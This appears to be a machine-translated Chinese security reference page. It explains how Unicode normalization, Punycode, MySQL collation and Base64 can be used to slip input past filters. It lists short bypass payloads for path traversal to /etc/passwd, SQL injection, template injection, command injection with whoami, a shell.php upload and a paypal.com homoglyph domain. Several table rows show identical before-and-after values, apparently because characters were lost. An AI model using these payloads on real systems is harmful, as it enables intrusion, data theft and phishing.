编码与转换 编码与转换是一种在不改变数据核心含义的前提下,改变其表示或传输方式的技术。常见的例子包括 URL 编码、Base64、HTML 实体编码和 Unicode 转换。攻击者利用这些方法作为“小工具”,以绕过输入过滤器、躲避 Web 应用防火墙,或突破数据清理流程。 概要 Unicode Unicode 正规化 Punycode Base64 实验环境 参考文献 Unicode Unicode 是一种通用字符编码标准,用于表示世界上几乎所有书写系统的文本。每个字符(字母、数字、符号、表情符号)都被分配一个唯一的代码点(例如,“A”的代码点是 U+0041)。UTF-8 和 UTF-16 等 Unicode 编码格式定义了如何将这些代码点存储为字节。
编码与转换是一种在不改变数据核心含义的前提下,改变其表示或传输方式的技术。常见的例子包括 URL 编码、Base64、HTML 实体编码和 Unicode 转换。攻击者利用这些方法作为“小工具”,以绕过输入过滤器、躲避 Web 应用防火墙,或突破数据清理流程。
Unicode 是一种通用字符编码标准,用于表示世界上几乎所有书写系统的文本。每个字符(字母、数字、符号、表情符号)都被分配一个唯一的代码点(例如,“A”的代码点是 U+0041)。UTF-8 和 UTF-16 等 Unicode 编码格式定义了如何将这些代码点存储为字节。
Unicode 正规化是将 Unicode 文本转换为标准化、一致形式的过程,以便在内存中以相同的方式表示等效字符。
| 字符 | 有效载荷 | 正规化后 |
|---|---|---|
‥ (U+2025) |
‥/‥/‥/etc/passwd |
../../../etc/passwd |
︰ (U+FE30) |
︰/︰/︰/etc/passwd |
../../../etc/passwd |
' (U+FF07) |
' or '1'='1 |
' or '1'='1 |
" (U+FF02) |
" or "1"="1 |
" or "1"="1 |
﹣ (U+FE63) |
admin'﹣﹣ |
admin'-- |
。 (U+3002) |
domain。com |
domain.com |
/ (U+FF0F) |
//domain.com |
//domain.com |
< (U+FF1C) |
<img src=a> |
<img src=a/> |
﹛ (U+FE5B) |
﹛﹛3+3﹜﹜ |
{{3+3}} |
[ (U+FF3B) |
[[5+5]] |
[[5+5]] |
& (U+FF06) |
&&whoami |
&&whoami |
p (U+FF50) |
shell.pʰp |
shell.php |
ʰ (U+02B0) |
shell.pʰp |
shell.php |
ª (U+00AA) |
ªdmin |
admin |
import unicodedata string = "ᴾᵃʸˡᵒᵃᵈˢℊ" print ('NFC: ' + unicodedata.normalize('NFC', string)) print ('NFD: ' + unicodedata.normalize('NFD', string)) print ('NFKC: ' + unicodedata.normalize('NFKC', string)) print ('NFKD: ' + unicodedata.normalize('NFKD', string))
Punycode 是一种仅使用有限的 ASCII 字符集(字母、数字和连字符)来表示 Unicode 字符(包括非 ASCII 字母、符号和文字)的方法。
它主要用于域名系统 (DNS),而 DNS 传统上只支持 ASCII。Punycode 允许使用国际化域名 (IDN),从而通过将其转换为安全的 ASCII 形式,使域名能够包含多种语言的字符。
| 浏览器中可见(支持 IDN) | 实际 ASCII(Punycode) |
|---|---|
| раypal.com | xn--ypal-43d9g.com |
| paypal.com | paypal.com |
在 MySQL 中,相似的字符被视为相等。这种行为可能在密码重置、忘记密码以及 OAuth 提供程序部分被滥用。
SELECT 'a' = 'ᵃ'; +-------------+ | 'a' = 'ᵃ' | +-------------+ | 1 | +-------------+
此技巧适用于 SQL 查询使用 COLLATE utf8mb4_0900_as_cs 的情况。
SELECT 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs; +----------------------------------------+ | 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs | +----------------------------------------+ | 0 | +----------------------------------------+
Base64 编码是一种将二进制数据(如图像或文件)或包含特殊字符的文本转换为仅使用 ASCII 字符(A-Z、a-z、0-9、+ 和 /)的可读字符串的方法。每 3 个字节的输入被分成 4 组,每组 6 位,并映射到 4 个 Base64 字符。如果输入不是 3 个字节的倍数,则在输出中用 = 字符进行填充。
echo -n admin | base64 YWRtaW4= echo -n YWRtaW4= | base64 -d admin
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。